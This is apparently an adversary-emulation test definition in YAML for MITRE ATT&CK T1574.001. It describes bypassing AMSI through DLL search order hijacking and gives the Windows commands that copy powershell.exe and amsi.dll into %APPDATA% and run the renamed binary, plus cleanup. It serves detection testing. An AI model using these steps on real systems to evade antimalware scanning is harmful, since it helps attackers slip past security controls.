attack_technique: T1574.001
display_name: 'Hijack Execution Flow: DLL Search Order Hijacking'
atomic_tests:
- name: DLL Search Order Hijacking - amsi.dll
  auto_generated_guid: 8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3
  description: |
    Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)
    https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/

    Upon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path.
  supported_platforms:
  - windows
  executor:
    command: |
      copy %windir%\System32\windowspowershell\v1.0\powershell.exe %APPDATA%\updater.exe
      copy %windir%\System32\amsi.dll %APPDATA%\amsi.dll
      %APPDATA%\updater.exe -Command exit
    cleanup_command: |
      del %APPDATA%\updater.exe >nul 2>&1
      del %APPDATA%\amsi.dll >nul 2>&1
    name: command_prompt
    elevation_required: true